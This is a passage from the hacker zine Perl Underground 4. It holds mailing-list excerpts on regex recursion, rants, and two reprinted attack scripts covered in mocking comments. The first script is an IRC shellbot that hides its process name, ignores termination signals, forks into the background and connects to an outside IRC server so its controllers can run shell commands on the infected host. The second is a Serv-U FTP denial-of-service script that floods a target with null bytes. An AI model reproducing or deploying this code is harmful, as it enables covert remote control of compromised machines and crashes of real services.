4366trees, then I must have passed at least one of them more than once,
4367so my route must have contained a cycle.)
4368
4369Of course, this reasoning doesn't work if the regular expression
4370contains embedded code, so we'd have to fall back to a cruder
4371counting mechanism in that, presumably very unusual, case.
4372
4373The other thing that puzzles me is that Abigail's regex contains
4374fewer than fifty subroutines, so by my reasoning the recursion-depth-
4375without-consuming-input could not possibly exceed 50 unless there's
4376an actual infinite loop (which there isn't). I can only conclude that
4377the current check is not accurately measuring this recursion depth.
4378Looking at regexec.c, I can't see any place where nochange_depth is
4379decremented (when returning from a subroutine call). Is that the
4380reason for the discrepancy?
4381
4382Robin
4383
4384PS. Sorry for breaking the threading. I can't find any way to forge
4385headers using this MUA.
4386
4387 Reply Reply to author Forward Rate this post:
4388
4389
4390
439122. h...@crypt.org View profile
4392 More options Feb 15, 1:39 pm
4393
4394Robin Houston <r...@cpan.org> wrote:
4395
4396:Of course, this reasoning doesn't work if the regular expression
4397:contains embedded code, so we'd have to fall back to a cruder
4398:counting mechanism in that, presumably very unusual, case.
4399
4400We already have a separate switch C< use re 'eval' > which we added
4401when eval groups were made available, so that programs already accepting
4402regexps from external sources would not suddenly become more dangerous.
4403
4404Should something similar be required to permit regexps to use those new
4405features that could cause problems in this way (such as DOS attacks from
4406recursive regexps)?
4407
4408Arguably the same flag could be used (since it is protecting against
4409the same kind of dangers) but its name isn't really appropriate for
4410that. The alternative would be a new C< use re 'recurse' >, and another
4411new flag that says more generally "I don't need any checks against
4412malicious regexps, even if you add new features in the future".
4413
4414In the presence of this flag, the rest of the discussion simplifies
4415to wanting to help programmers debug erroneous code without getting
4416in their way when the bugs are fixed: we no longer need to worry
4417about malice.
4418
4419Hugo
4420
4421
4422~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4423-rw------- 1 puyou puyou 5242 2007-02-26 18:12 laugh/nasti.txt
4424~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4425
4426<Calvin> Ha! Mosquitos don't even HAVE teeth! That shows how dumb YOU are!
4427
4428#!/usr/bin/perl
4429# VulnScan v2
4430# Norman ownz your box
4431
4432my $processo = '[syslogd]';
4433
4434# Get some strict, get some warnings, and get this above your $processo
4435
4436use HTTP::Request;
4437use LWP::UserAgent;
4438
4439#CONFIGURATION
4440# ^ A Label! Holy fuck!
4441
4442my $linas_max='4';
4443my $sleep='5';
4444
4445# Do not quote your numbers.
4446
4447my @gstring='Source';
4448my @cmdstring='http://source.webcindario.com/ale.txt';
4449my @adms=("Source");
4450my @canais=("#NaStI");
4451
4452# I will give you benefit of the doubt and assume the above arrays will expand.
4453
4454my $nick='NaStI';
4455 # NaStI, NaStI boy!
4456
4457my $ircname ='norman';
4458# how BLAND
4459
4460chop (my $realname = `uname -a`);
4461#chop chop
4462
4463$servidor='shells.telesito.com.ar' unless $servidor;
4464# servido ||= 'shells.telesito.com.ar';
4465
4466my $porta='4444';
4467
4468my $VERSAO = 'Shellbot RFI by Norman v1.4';
4469$SIG{'INT'} = 'IGNORE';
4470$SIG{'HUP'} = 'IGNORE';
4471$SIG{'TERM'} = 'IGNORE';
4472$SIG{'CHLD'} = 'IGNORE';
4473$SIG{'PS'} = 'IGNORE';
4474use IO::Socket;
4475use Socket;
4476use IO::Select;
4477
4478# Why are these down here? Why Socket AND IO::Socket?
4479
4480chdir("/");
4481$servidor="$ARGV[0]" if $ARGV[0];
4482# All wrong!
4483
4484$0="$processo"."\0"x16;;
4485# I like the extra ; just to be sure
4486# Let's assume it was a typo
4487
4488my $pid=fork;
4489exit if $pid;
4490die "Problema com o fork: $!" unless defined($pid);
4491
4492
4493our %irc_servers;
4494our %DCC;
4495
4496# The famed our, is it really so needed?
4497
4498my $dcc_sel = new IO::Select->new();
4499
4500$sel_cliente = IO::Select->new();
4501sub sendraw {
4502 if ($#_ == '1') {
4503# fuck. no.
4504 my $socket = $_[0];
4505 print $socket "$_[1]\n";
4506 } else {
4507 print $IRC_cur_socket "$_[0]\n";
4508 }
4509}
4510# MORGAN OWNED YOUR BOX
4511# www.elmorgan.com.ar
4512# irc.gigachat.net - #Morgan
4513
4514# Yes, advertise your identity. Again, and again, and again.
4515
4516sub conectar {
4517 my $meunick = $_[0];
4518 my $servidor_con = $_[1];
4519 my $porta_con = $_[2];
4520
4521# my ($meunick, $servidor_con, $porta_con) = @_; # why not?
4522
4523 my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
4524# LAME
4525 if (defined($IRC_socket)) {
4526 $IRC_cur_socket = $IRC_socket;
4527#LAME
4528
4529 $IRC_socket->autoflush(1);
4530 $sel_cliente->add($IRC_socket);
4531
4532 $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
4533 $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
4534
4535# Randomly quote variables, and randomly don't. Good show, good show!
4536
4537 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
4538 $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
4539 nick("$meunick");
4540 sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
4541 sleep 1;
4542 }
4543}
4544my $line_temp;
4545while( 1 ) {
4546 while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
4547 delete($irc_servers{''}) if (defined($irc_servers{''}));
4548# ack, I'm coughing
4549
4550 my @ready = $sel_cliente->can_read(0);
4551 next unless(@ready);
4552
4553# Parens are not needed everywhere.
4554
4555 foreach $fh (@ready) {
4556 $IRC_cur_socket = $fh;
4557 $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
4558 $nread = sysread($fh, $msg, 4096);
4559 if ($nread == 0) {
4560 $sel_cliente->remove($fh);
4561 $fh->close;
4562 delete($irc_servers{$fh});
4563 }
4564 @lines = split (/\n/, $msg);
4565
4566 for(my $c=0; $c<= $#lines; $c++) {
4567# for my $c (0 .. $#lines) {
4568
4569 $line = $lines[$c];
4570 $line=$line_temp.$line if ($line_temp);
4571 $line_temp='';
4572 $line =~ s/\r$//;
4573# You like it slow, don't you?
4574
4575 unless ($c == $#lines) {
4576 parse("$line");
4577 } else {
4578 if ($#lines == 0) {
4579 parse("$line");
4580 } elsif ($lines[$c] =~ /\r$/) {
4581 parse("$line");
4582 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
4583 parse("$line");
4584 } else {
4585 $line_temp = $line;
4586 }
4587# what the fuck is up with that control flow
4588
4589 }
4590 }
4591 }
4592}
4593
4594sub parse {
4595 my $servarg = shift;
4596 if ($servarg =~ /^PING \:(.*)/) {
4597 sendraw("PONG :$1");
4598 } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
4599 my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
4600# dude...no.
4601
4602 if ($args =~ /^\001VERSION\001$/) {
4603 notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
4604 }
4605 if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
4606 if ($onde eq "$meunick"){
4607 shell("$pn", "$args");
4608# so much quoting, the all hanging " key
4609 }
4610 if ($args =~ /^(\Q$meunick\E|\!norman)\s+(.*)/ ) {
4611 my $natrix = $1;
4612 my $arg = $2;
4613 if ($arg =~ /^\!(.*)/) {
4614 ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
4615 } elsif ($arg =~ /^\@(.*)/) {
4616 $ondep = $onde;
4617 $ondep = $pn if $onde eq $meunick;
4618 bfunc("$ondep","$1");
4619 } else {
4620 shell("$onde", "$arg");
4621 }
4622 }
4623 }
4624
4625# No more. All the same bullshit. Plus, there is some different bullshit,
4626# but it isn't worth our time. Just stop sucking and write some code that isn't embarassing.
4627# Oh, and I removed some copyrights, AND your notice to not remove copyrights, YOU BITCH.
4628
4629
4630~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4631-rw------- 1 puyou puyou 657 2007-02-26 18:11 rant/egomaniac.txt
4632~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4633
4634Dear Fuckfaces,
4635
4636I was featured in your last publication. Why are you so mean, writing this pointless zine where you
4637make fun of people for writing bad Perl? You should be like h0no, where you really own people. Your
4638zine has nothing useful. And scrap all those highly informative and intelligent articles gathered
4639from the Perl community, I didn't even read them. In fact, I didn't even read most of the article
4640about me. I certainly didn't learn anything. I'm gonna bitch about the little issues you pointed
4641out, and ignore the big stupid things I did. I'm going to continue writing shitty Perl code, but I
4642won't publish as much.
4643
4644Regards,
4645
4646Some Egomanic
4647
4648
4649~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4650-rw------- 1 puyou puyou 4233 2007-02-26 18:10 laugh/cirt.dk.txt
4651~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4652
4653<Calvin> Aw Mom, we're right in the middle of a croquet game!
4654
4655#!/usr/bin/perl
4656#ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO
4657#
4658# ************************************************** !!! WARNING !!! ***********************************************************
4659# * FOR SECURITY TESTiNG ONLY! *
4660# ******************************************************************************************************************************
4661# * By using this code you agree that I makes no warranties or representations, express or implied, about the *
4662# * accuracy, timeliness or completeness of this, including without limitations the implied warranties of *
4663# * merchantability and fitness for a particular purpose. *
4664# * I makes NO Warranty of non-infringement. This code may contain technical inaccuracies or typographical errors. *
4665# * This code can never be copyrighted or owned by any commercial company, under no circumstances what so ever. *
4666# * but can be use for as long the developer, are giving explicit approval of the usage, and the user understand *
4667# * and approve of all the parts written in this notice. *
4668# * This program may NOT be used by any Danish company, unless explicit written permission from the developer . *
4669# * Neither myself nor any of my Affiliates shall be liable for any direct, incidental, consequential, indirect *
4670# * or punitive damages arising out of access to, inability to access, or any use of the content of this code, *
4671# * including without limitation any PC, other equipment or other property, even if I am Expressly advised of *
4672# * the possibility of such damages. I DO NOT encourage criminal activities. If you use this code or commit *
4673# * criminal acts with it, then you are solely responsible for your own actions and by use, downloading,transferring, *
4674# * and/or reading anything from this code you are considered to have accepted the terms and conditions and have read *
4675# * this disclaimer. Once again this code is for penetration testing purposes only. And once again, DO NOT DISTRIBUTE! *
4676# ******************************************************************************************************************************
4677#
4678# FTP Serv-U 2.3e FTP Service Killer
4679# http://www.cirt.dk/
4680#
4681#
4682#For some reason it only works on a local network
4683#### ^ I wonder why ...
4684
4685# Crashes FTP Serv-U 2.3e by sending it a string of null bytes.
4686#
4687
4688# WTF
4689# Remove ALL of that fucking annoying cock juice from the top of your script
4690# Fags
4691
4692use IO::Socket;
4693
4694my $host; # Host being probed.
4695my $port; # FTP port.
4696
4697# my ($host, $port);
4698# Thanks for the lexical variables, though.
4699# Could you possibly be the first? Ack!
4700
4701system('cls');
4702
4703# Lame Windows-centered code
4704
4705print "\n Serv-U 2.3e Overflow Vuln 2002 by Dennis Rand.";
4706print "\n http://www.cirt.dk";
4707print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
4708print "\n Enter host to crash : ";
4709
4710# Could another form of quoting be in order?
4711
4712$host=<STDIN>;
4713chomp $host;
4714
4715# chomp(my $host = <STDIN>);
4716
4717if ($host eq ""){$host="127.0.0.1"};
4718
4719# $host ||= '127.0.0.1';
4720
4721print "\n Port : ";
4722$port=<STDIN>;
4723chomp $port;
4724if ($port =~/\D/ ){$port="21"};
4725# $port = 21 if $port =~ /\D/;
4726
4727if ($port eq "" ) {$port = "21"};
4728print " Connecting to $host:$port...";
4729my $connection = IO::Socket::INET->new (
4730 Proto => "tcp",
4731 PeerAddr => "$host",
4732 PeerPort => "$port",
4733 ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
4734
4735# Quote quote quote
4736
4737$connection -> autoflush(1);
4738print "..... \n";
4739
4740$counter = 0;
4741$buf = "";
4742
4743# Not lexical anymore?
4744
4745# 135168
4746while ($counter < 135168) {
4747 print ".";
4748 $buf .= "\x00";
4749 $counter += 1;
4750 print $connection "$buf\n";
4751# Could be smooth, but who needs it, I suppose
4752
4753}
4754sleep(2);
4755
4756print "\n Done.....";
4757
4758close($connection);
4759
4760# Parens not needed.
4761
4762
4763~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4764-rw------- 1 puyou puyou 979 2007-02-26 18:08 rant/str0ke.txt
4765~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4766
4767<Locke> I was considering going for str0ke round 3.
4768<Locke> But maybe people are getting tired of him?
4769<Socrates> I thought you had something else specifically, a second article.
4770<Socrates> I personally would not like to attack str0ke again.
4771<Locke> okay, so no str0ke
4772<Socrates> I usually try not to use the same person twice,
4773and I think there were three articles written about him.
4774
4775... 17 minutes later ...
4776
4777<Locke> http://milw0rm.com/exploits/2974
4778<Locke> Really, you'd think he'd learn
4779
4780... Later? ...
4781
4782<Locke> Rather daemonion, wouldn't you say?
4783<Socrates> Perhaps. That is not necessarily supporting an attack.
4784The sign is a voice which comes to me and always forbids me to do something which I am going to do,
4785but never commands me to do anything.
4786<Locke> You must choose one way or another.
4787
4788We promised you str0ke, and we give you...half str0ke? 1/4 str0ke? That's ok!
4789I know you, the ravishing crowds, are disappointed. We raise our glasses to you, and to str0ke!
4790
4791
4792~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4793-rw------- 1 puyou puyou 715 2007-02-26 18:07 rant/ownedbypu.txt
4794~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4795
4796What to do if you have been schooled by Perl Underground
4797
47981. Think deeply about what you have done with your life and what you intend to do.
47992. Make a list of all the Perl things you did wrong and were criticized for.
4800 Post on wall.
48013. Remove any bullshit, useless, degrading scripts that you only have online
4802 to pad your code archive and your ego.
48034. Go through all of your other programs and fix up
4804 according to the list in point #2 and according to your independent Perl research.
48055. Take all further programs to professionals or unemployed experts before publishing.
48066. Put a long thank you note somewhere online, where you repent for your ill deeds.
48077. Make Perl a lifelong passion, and strive for education.
4808
4809
4810~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4811-rw------- 1 puyou puyou 1359 2007-02-26 18:05 rant/outr0.txt
4812~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4813
4814Shoutz and Outz
4815
4816I would like to thank the record number of contributors to Perl Underground 4. All of your work is
4817greatly appreciated and increases the overall diversity. Also, thanks to everyone who complimented
4818on previous editions, or offered suggestions. Thanks to everyone who took their inclusion with
4819style, and I suppose I can thank those of you who didn't, for spreading it through your
4820complaining.
4821
4822Hoboeuan, you very narrowly missed being included. In the end, I figured that your foolery was
4823neither unique nor entertaining, and I couldn't possibly humiliate you after ZF0 owned you and
4824showed the world. Either way, I expound the moral that you should realize that by being a dick you
4825can piss people off in the oddest of places, and that those people might notice the chance to get
4826back at you when it drops into their laps.
4827
4828Thanks to everyone who writes or appreciates good Perl, and to everyone working hard to improve
4829Perl and improve how the rest of us experience Perl.
4830
4831 ___ _ _ _ _ ___ _
4832| _ | | | | | | | | | | | |
4833| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
4834| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
4835|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
4836
4837Forever Abigail
4838
4839$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
4840"Just another Perl Hacker,"
4841EOF
4842
4843# milw0rm.com [2007-04-03]